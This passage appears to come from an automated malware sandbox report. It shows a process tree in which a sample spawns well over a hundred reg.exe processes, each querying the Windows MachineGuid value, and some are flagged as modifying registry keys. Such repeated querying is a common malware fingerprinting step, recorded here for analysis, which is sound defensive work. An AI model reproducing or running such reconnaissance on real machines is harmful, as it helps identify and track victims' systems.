  PID:4736
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  - Modifies registry key
  PID:3300
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:4696
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  - Modifies registry key
  PID:4284
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:1528
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:4368
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  - Modifies registry key
  PID:1192
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:1392
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:4456
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  - Modifies registry key
  PID:5584
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:564
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:2924
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:3916
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  - Modifies registry key
  PID:1252
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:2140
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:4460
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  - Modifies registry key
  PID:3704
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:2076
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:5336
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:3052
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  - Modifies registry key
  PID:1508
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:2128
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  - Modifies registry key
  PID:1772
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:4856
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  - Modifies registry key
  PID:2316
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:4308
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:4924
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:2980
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:4916
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:4248
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:1824
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:4852
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:2264
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:3200
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:3468
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:2500
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:3352
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  - Modifies registry key
  PID:2508
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:5392
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:8
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:5804
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:4680
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:2756
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:3176
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:4700
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:1484
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:2796
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:4968
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:5784
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:4848
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  - Modifies registry key
  PID:1120
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  - Modifies registry key
  PID:1264
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:1844
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:4468
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  - Modifies registry key
  PID:1656
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:4584
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:4284
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  - Modifies registry key
  PID:1064
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  - Modifies registry key
  PID:2348
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:5200
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:4864
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  - Modifies registry key
  PID:5608
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:4852
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:3032
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:4952
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:3892
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:3668
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:5816
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:5952
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:4636
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  - Modifies registry key
  PID:5064
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  - Modifies registry key
  PID:5392
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  - Modifies registry key
  PID:4492
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  - Modifies registry key
  PID:1252
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:2140
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  - Modifies registry key
  PID:3420
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:4660
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:540
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  - Modifies registry key
  PID:3268
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:2312
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:4900
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  - Modifies registry key
  PID:5784
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:4848
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:1156
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:3356
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  - Modifies registry key
  PID:1284
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:3064
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  - Modifies registry key
  PID:4936
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:5076
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:1276
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:5324
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:4368
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:3044
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  - Modifies registry key
  PID:3104
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:4348
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:4236
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:1144
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:5700
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:3704
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:6096
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:5472
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:3284
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  - Modifies registry key
  PID:312
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:6044
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:3008
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  - Modifies registry key
  PID:1064
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:6108
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:2556
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4324
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:1288
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:1312
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:5264
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  - Modifies registry key
  PID:4348
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:1336
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:5300
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:540
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:2600
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:4848
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  - Modifies registry key
  PID:4664
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:1468
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  - Modifies registry key
  PID:3452
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:1088
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  - Modifies registry key
  PID:1192
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:4516
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:6016
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:624
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:2608
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:5584
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:2508
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  - Modifies registry key
  PID:3724
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:2652
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:2860
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  - Modifies registry key
  PID:1568
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:4680
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:3292
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  - Modifies registry key
  PID:4764
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:2960
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  - Modifies registry key
  PID:3392
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:5284
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:5716
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:1840
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:1508
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:988
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  - Modifies registry key
  PID:380
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:748
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  - Modifies registry key
  PID:5884
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:4964
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:2396
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  - Modifies registry key
  PID:5852
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:1256
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:4360
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:476
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:5972
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:2612
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  - Modifies registry key
  PID:4544
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:3044
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:5160
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:5816
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  - Modifies registry key
  PID:4444
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  - Modifies registry key
  PID:1872
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:5944
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:2652
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  - Modifies registry key
  PID:1360
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  - Modifies registry key
  PID:1568
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:5592
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:5496
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:2908
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:4704
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:2116
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  - Modifies registry key
  PID:3376
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:5520
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:304
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:320
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:5808
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:4296
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:5812
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:4308
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:3296
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  - Modifies registry key
  PID:4592
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:1064
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:1200
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:5900
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2224
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:568
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:1192
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:1392
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:624
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:5940
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:4976
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:4876
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  - Modifies registry key
  PID:2060
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  - Modifies registry key
  PID:2260
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:3480
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:3844
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:5128
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:5148
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:5448
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:3692
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  - Modifies registry key
  PID:4288
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:3268
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  - Modifies registry key
  PID:5284
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:3376
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:2128
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:5808
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:4892
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:4736
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:1412
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:5124
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:3152
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:4360
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:1088
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  - Modifies registry key
  PID:2240
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:1192
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:2100
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:3032
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:2500
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:5488
- C:\Windows\system32\reg.exe
